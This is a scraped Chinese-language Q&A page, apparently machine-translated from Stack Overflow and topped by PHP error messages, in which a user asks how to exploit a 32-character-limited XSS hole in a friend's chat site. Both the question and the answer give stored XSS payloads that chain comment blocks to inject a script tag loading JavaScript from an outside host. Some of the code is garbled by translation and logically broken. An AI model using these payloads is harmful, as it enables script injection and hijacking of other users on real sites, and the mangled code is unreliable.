Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/javascript/363.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
在长度有限的输入上运行JavaScript代码_Javascript_Html_Xss - Fatal编程技术网

在长度有限的输入上运行JavaScript代码

在长度有限的输入上运行JavaScript代码,javascript,html,xss,Javascript,Html,Xss,我在我朋友的聊天网站上发现了一个XSS 我有一个多行文本框,我可以上传小图标,我可以像使用表情符号一样使用它们。为了使用这些表情符号,我必须用快捷方式命名这些表情符号,例如:/haha、/rofl等。 这些快捷方式可以用任何方式修改,但长度不能超过32个字符。当我输入快捷方式时,没有字符被清除 这是HTML代码: <div class="message"><span class="timestamp">7:09:43 PM - </span><span

我在我朋友的聊天网站上发现了一个XSS

我有一个多行文本框,我可以上传小图标,我可以像使用表情符号一样使用它们。为了使用这些表情符号,我必须用快捷方式命名这些表情符号,例如:
/haha
/rofl
等。 这些快捷方式可以用任何方式修改,但长度不能超过32个字符。当我输入快捷方式时,没有字符被清除

这是HTML代码:

<div class="message"><span class="timestamp">7:09:43 PM - </span><span class="username"><span class="level1">fooUser</span></span><span>: </span><span><img src="https://path/to/emojiFile" alt="/haha" title="/haha" data-emoji="emojiFile" border="0"></span></div>
"><script>var x=/*
*/document.createElement/*
*/("script");x.src=/*
*/"//mywebs"+/*
*/"ite.com/a.js",/*
*/document.head.appendChild/*
*/(x);</script><!--
因此我注入了以下HTML代码:

<div class="message"><span class="timestamp">7:09:43 PM - </span><span class="username"><span class="level1">fooUser</span></span><span>: </span><span><img src="https://path/to/emojiFile" alt="/haha" title="/haha" data-emoji="emojiFile" border="0"></span></div>
"><script>var x=/*
*/document.createElement/*
*/("script");x.src=/*
*/"//mywebs"+/*
*/"ite.com/a.js",/*
*/document.head.appendChild/*
*/(x);</script><!--
var x=/* */document.createElement/* */(“脚本”);x.src=/* */“//mywebs”+/* */“ite.com/a.js”/* */document.head.appendChild/* */(x) ); 基本上,未净化的HTML输入(我将有效负载放在那里)在
alt
title
下复制,当我放置注释块时,可能存在某种模糊性


如何解决问题?

将脚本分成32个字符的块,可以重复两次

"><script>/*
*/p=document/*
*/q='http://mywebsite.com/'/*
*/r='mysubfolder/js/'/*
*/s='payloadfolder/a.js'/*
*/t=head/*
*/u=p.t/*
*/x=p.createElement('script')/*
*/x.src=p+q+s/*
*/u.appendChild(x)</script><!--
“>/*
*/p=文件/*
*/q='http://mywebsite.com/'/*
*/r='mysubfolder/js/'/*
*/s='payloadfolder/a.js'/*
*/t=头/*
*/u=p.t/*
*/x=p.createElement('脚本')/*
*/x、 src=p+q+s/*

*/u、 appendChild(x)将脚本分为32个字符的块,可以重复两次。我修改了一些东西使其工作,但现在如果我使用浏览器控制台运行JS,而不是尝试使用XSS触发它,它就可以工作了。我认为firefox阻止了一些东西。
"><script>/*
*/p=document/*
*/q='http://mywebsite.com/'/*
*/r='mysubfolder/js/'/*
*/s='payloadfolder/a.js'/*
*/t=head/*
*/u=p.t/*
*/x=p.createElement('script')/*
*/x.src=p+q+s/*
*/u.appendChild(x)</script><!--